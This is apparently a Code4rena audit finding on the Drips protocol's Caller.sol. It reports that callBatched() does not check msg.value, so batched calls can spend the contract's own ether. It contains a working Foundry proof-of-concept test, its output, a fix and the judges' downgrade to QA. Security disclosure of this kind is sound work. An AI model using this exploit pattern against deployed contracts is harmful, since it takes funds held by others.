```callBatched()``` does not verify the msg.value sent by the caller/sender

[code423n4]

Lines of code

https://github.com/code-423n4/2023-01-drips/blob/9fd776b50f4be23ca038b1d0426e63a69c7a511d/src/Caller.sol#L193 https://github.com/code-423n4/2023-01-drips/blob/9fd776b50f4be23ca038b1d0426e63a69c7a511d/src/Caller.sol#L198

Vulnerability details

Impact

The Caller.sol:callBatched() function is used to send an array of sender calls, the function is payable which means that the sender/caller should send the msg.value that the calls are going to use.

The problem is that the callBatched() function does not verify that the sum of values from each call is the same value the caller is sending (msg.value). The sender/caller calls could be executed without sending any msg.value and the calls will use the balance from the Caller contract.

The sender/caller could execute a batch of calls without paying for them.

Proof of Concept

I created a test in Caller.t.sol. Basically the sender calls callBatched in order to send an array of calls without sending any msg.value consequently the calls will use the balance from the contract instead the balance from the caller/sender.

Steps:

1. Sender create the calls array. The calls use value1 and value2 respectively.
2. Someone sends 1 ether to the Caller contract.
3. The sender calls "callBatched" in order to execute the calls array. The senders send 0 msg.value.
4. The calls are executed correctly. The sender executes the calls without sending any msg.value. The Caller contract now have less balance.

function testCallBatchedWithUnverifiedMsgValue() public {
    // callBatched does not verify the msg.value sent by the caller
    // 1. Sender create the calls array. The calls use value1 and value2 respectively.
    // 2. Someone sends 1 ether to the Caller contract.
    // 3. The sender calls "callBatched" in order to execute the calls array. The senders send 0 msg.value.
    // 4. The calls are executed correctly. The sender executes the calls without any msg.value
    //    The Caller contract now have less balance.
    //
    // 1. Sender create the calls array. The calls use value1 and value2 respectively
    //
    uint256 input1 = 1234567890;
    uint256 input2 = 2468024680;
    uint256 value1 = 4321;
    uint256 value2 = 8642;
    Call[] memory calls = new Call[](2);
    calls[0] = Call({
        to: address(target),
        data: abi.encodeWithSelector(target.run.selector, input1),
        value: value1
    });
    calls[1] = Call({
        to: address(targetOtherForwarder),
        data: abi.encodeWithSelector(target.run.selector, input2),
        value: value2
    });
    //
    // 2. Someone sends 1 ether to the Caller contract.
    //
    vm.deal(address(caller), 1 ether);
    uint256 balanceCallerBeforeSenderCall = address(caller).balance;
    console.log("Caller contract balance before the sender callBatched: ", balanceCallerBeforeSenderCall);
    //
    // 3. The sender calls "callBatched" in order to execute the calls array. The sender send 0 msg.value.
    //
    bytes[] memory returned = caller.callBatched{value: 0}(calls); //<-- 0 msg.value
    uint256 balanceCallerAfterSenderCall = address(caller).balance;
    console.log("Caller contract balance after the sender callBatched:  ", balanceCallerAfterSenderCall);
    //
    // 4. The calls are executed correctly. The sender executes the calls without sending any msg.value.
    // The Caller contract now have less balance.
    //
    assertEq(balanceCallerAfterSenderCall, balanceCallerBeforeSenderCall - value1 - value2);
    assertEq(abi.decode(returned[0], (uint256)), input1 + 1, "Invalid returned value 1");
    assertEq(abi.decode(returned[1], (uint256)), input2 + 1, "Invalid returned value 2");
    target.verify(address(this), input1, value1);
    targetOtherForwarder.verify(address(caller), input2, value2);
}

Output:

[PASS] testCallBatchedWithUnverifiedMsgValue() (gas: 180931)
Logs:
  Caller contract balance before the sender callBatched:  1000000000000000000
  Caller contract balance after the sender callBatched:   999999999999987037

Tools used

Foundry/Vscode

Recommended Mitigation Steps

Verify if the sum of all calls values is the same the caller is sending (msg.value).

uint256 sumAllValues;
for (uint256 i = 0; i < calls.length; i++) {
    Call memory call = calls[i];
    returnData[i] = _call(sender, call.to, call.data, call.value);
    sumAllValues += call.value;
}
require(sumAllValues == msg.value);

[c4-judge]

GalloDaSballo changed the severity to QA (Quality Assurance)

[GalloDaSballo]

L

[c4-judge]

GalloDaSballo marked the issue as grade-c

[c4-judge]

GalloDaSballo marked the issue as grade-b